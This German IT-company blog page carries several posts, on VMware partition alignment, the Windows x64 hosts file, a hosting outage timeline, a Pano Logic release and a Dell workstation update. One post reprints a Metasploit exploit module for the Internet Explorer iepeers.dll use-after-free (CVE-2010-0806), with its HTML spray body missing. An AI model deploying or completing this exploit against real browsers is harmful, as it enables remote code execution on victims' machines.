VMware und Partition Alignement

Eine sehr gute Anleitung für VMware ESX (v3) findet man hier:

http://www.vmware.com/pdf/esx3_partition_align.pdf

Wo ist die Hosts Datei auf Windows 64bit ?

Für alle, die die Hosts-Datei auf Windows 64bit suchen oder gesucht haben, oder die wissen wollen, was der Unterschied zwischen den Programmordnern Programme (x86) und  Programme ist, gibt es hier eine Antwort:
Where is the Hosts File on Windows x64? | sepago

Unsere Webseiten waren am 15.04. 16:17-18:12 Uhr kurzzeitig nicht erreichbar!

Domainfactory, unser Hoster, hat durch ein Softwareupgrade einen kurzzeitigen Ausfall unserer Webseite verursacht. Es wird mit Hochruck an einer Lösung gearbeitet, um die Webserver wieder online zu bekommen.

Wir bitten alle unsere Kunden und Interessenten für die entstandenen Unannehhmlichkeiten um Verzeihung!

15.04.10: 18:12 Uhr
Unsere Webserver stehen wieder wie gewohnt zur Verfügung!
__________________________________________________________________________________

Originalmitteilung unseres Hosters:

Ausfall von mehreren Webservern

Ticket eröffnet:

15.04.10, 16:17 Uhr
Aufgrund eines technischen Problems sind derzeit mehrere Webserver nicht verfügbar. Unsere Techniker arbeiten bereits mit Hochdruck an der Problemlösung.

Ein aktualisierter Status wird in wenigen Minuten, nach Identifizierung der jeweils nicht verfügbaren Webserver, bereitgestellt.

Wir bedauern diese Beeinträchtigung und entschuldigen uns für die Unannehmlichkeiten.

[Update 15.04.2010 16:31]
Aktuell sind ein Grossteil der  Server nicht zu erreichen. Wir arbeiten bereits intensiv an einer Lösung der Situation. Sobald wir neue Erkenntnisse haben werden wir Sie schnellstmöglich hier informieren.


[Update 15.04.2010 16:35]
Die Erreichbarkeitsproblematik ist durch ein Softwareupgrade entstanden. Aktuell wird der Umfang des Upgrades geprüft und rückgängig gemacht.

[Update 15.04.2010 16:45]
Aktuell wird auf den betroffenen Servern das Softwareupdate rückgängig gemacht.

[Update 15.04.2010 17:13]
Die Server werden aktuell manuell geprüft und stehen nach der Überprüfung wieder wie gewohnt zur Verfügung. Auf Grund des Umfangs der Störung und der damit verbundenen manuellen Prüfung können wir momentan leider noch keine Server direkt bezeichnen.

Wir gehen momentan davon aus das in 30-60 Minuten alle Server wieder zur Verfügung stehen.

[Update 15.04.2010 17:26]
Die Server kommen nach und nach wieder online und stehen wieder wie gewohnt zur Verfügung. Wir halten Sie hier weiterhin auf dem aktuellen Stand.

[Update 15.04.2010 17:43]
Die Technik arbeitet weiterhin intensiv daran, alle Server schnellstmöglich zur Verfügung zu stellen.

[Update 15.04.2010 18:11]
Alle Server stehen in Kürze wieder wie gewohnt zur Verfügung.

[Update 15.04.2010 18:26]
Alle Server stehen wieder wie gewohnt zur Verfügung.

Wir bedauern die Beeinträchtigungen und entschuldigen uns für die entstandenen Unannehmlichkeiten.

Version 3.0 von Pano Logic's Desktopvirtualisierung

Mit dem heutigen Major-Release der neuen Softwareversion 3.0 ist dem kalifornischen Hersteller Pano Logic ein großer Wurf gelungen. Es sind viele neue sowie stark verbesserte Funktionen hinzugekommen, darunter:

• Unterstützung von Windows 7: Alle Editionen ab Windows 7 Professional x86 (32 bit) werden unterstützt
• Mehrere Desktops pro Benutzer: Bessere Kontrolle und Verwaltung von nahezu beliebig vielen Desktops pro Benutzer für unterschiedliche Funktionen (Abb. 3)
• Pano Manager Failover: Zwei Pano Manager Virtual Aplliances lassen sich in einem active/passive Failover Cluster betreiben (Abb. 4)
• Verbesserter Logicscreen, welcher den Benutzern mehr Informationen und Optionen zur Auswahl bietet (Abb. 2)
• Verbesserte Administration: Neu hinzugekommen ist unter anderem ein (Zustands-) Management für DVMs, welche sich im Maintenance-Mode befinden
• Noch bessere und nahtlosere Integration von VMware vSphere 4.0 U1 und View 4.0

Der Download der neuen Version 3.0 ist ab sofort freigegeben: Unsere Kunden mit gültigem Maintenance-Vertrag können die Software von unseren Servern herunterladen!

 

  Abb 2. Bessere Kontrolle durch Benutzer: Der stark verbesserte Loginscreen

Abb. 3 Mehrere Desktops (DVMs) pro Benutzer

Abb. 4 Pano Manager Failover Gruppen bieten mehr Sicherheit durch Redundanz

CNN Money: Pano's Zero-Client "real-world" Bericht

Heute ist ein schöner Bericht über Pano Logic's Zero-Client bei TechTalk at CNN Money online erschienen:

IE 0-day exploit code veröffentlicht

Dem israelischen Hacker Moshe Ben Abu ist es gelungen, auf Grund von Hinweisen eines McAfee Blogposts eine Sicherheitslücke im Microsoft Internet Explorer auszunutzen: Der Exploitcode wurde bereits veröffentlicht: http://www.rec-sec.com/exploits/msf/ie_iepeers_pointer.rb

Betroffene Versionen: IE 6 und 7

Ganze Story (Englisch): http://blogs.zdnet.com/security/?p=5666&tag=trunk;content

Und hier der Code:

##
# ie_iepeers_pointer.rb
#
# Microsoft Internet Explorer iepeers.dll use-after-free exploit for the Metasploit Framework
#
# Tested successfully on the following platforms:
#  - Microsoft Internet Explorer 7, Windows Vista SP2
#  - Microsoft Internet Explorer 7, Windows XP SP3
#  - Microsoft Internet Explorer 6, Windows XP SP3
#
# Exploit found in-the-wild. For additional details:
# http://www.rec-sec.com/2010/03/10/internet-explorer-iepeers-use-after-free-exploit/
#
# Trancer
# http://www.rec-sec.com
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft Internet Explorer iepeers.dll use-after-free',
   'Description'    => %q{
    This module exploits a use-after-free vulnerability within iepeers.dll of 
    Microsoft Internet Explorer versions 6 and 7.
    
    NOTE: Internet Explorer 8 and Internet Explorer 5 are not affected.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 
      'Trancer '
      ], 
   'Version'        => '$Revision:$',
   'References'     =>
    [
     [ 'CVE', '2010-0806' ],
     [ 'OSVDB', '62810' ],
     [ 'BID', '38615' ],
     [ 'URL', 'http://www.microsoft.com/technet/security/advisory/981374.mspx' ],
     [ 'URL', 'http://www.avertlabs.com/research/blog/index.php/2010/03/09/targeted-internet-explorer-0day-attack-announced-cve-2010-0806/' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00\x09\x0a\x0d'\\", 
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ] 
    ],
   'DisclosureDate' => 'Mar 09 2010',
   'DefaultTarget'  => 0))
 end

 def on_request_uri(cli, request)
  
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Encode the shellcode
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Set the return\nops
  ret     = Rex::Text.to_unescape([target.ret].pack('V'))

  # Randomize the javascript variable names
   j_shellcode  = rand_text_alpha(rand(100) + 1)
  j_nops   = rand_text_alpha(rand(100) + 1)
  j_slackspace = rand_text_alpha(rand(100) + 1)
  j_fillblock  = rand_text_alpha(rand(100) + 1)
  j_memory  = rand_text_alpha(rand(100) + 1)
  j_counter  = rand_text_alpha(rand(30) + 2)
  j_ret   = rand_text_alpha(rand(100) + 1)
  j_array   = rand_text_alpha(rand(100) + 1)
  j_function1  = rand_text_alpha(rand(100) + 1)
  j_function2  = rand_text_alpha(rand(100) + 1)
  j_object  = rand_text_alpha(rand(100) + 1)
  j_id   = rand_text_alpha(rand(100) + 1)

  # Build out the message
  html = %Q|

|

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the compressed response to the client
  send_response(cli, html, { 'Content-Type' => 'text/html' })
  
  # Handle the payload
  handler(cli)

 end

end

Dell Precision Mobile Workstation M6500 Update

Bereits kurz vor der CeBIT war zu erfahren, dass die leistungsfähiste mobile Workstation, die wir gestestet haben, die Dell Precision M6500 Ende April ein Update erfährt:

USB3.0 ist ja bereits an Bord, neu hinzukommen wird die Möglichkeit, zwei Festplatten (RAID 0 oder 1) mit einer zusätzlichen SSD über einen integrierten RAID-Controller zu kombinieren: Man hat dann insgesamt drei "Festplatten" zur Verfügung, und kann damit sogar ein RAID 5 betreiben - bislang die einzige mobile Workstation mit RAID 5! Bislang waren "nur" RAIDs mit den beiden internen Festplatten möglich. Das SSD-Device kann typischerweise als Bootdevice und/oder Systempartition fürs Betriebssystem genutzt werden und kann je nach Anwendung zu einem deutlichen Performanceboost führen.

28.03. Update: Die Variante mit 3 "Festplatten" (RAID 5) lässt sich ab sofort bestellen!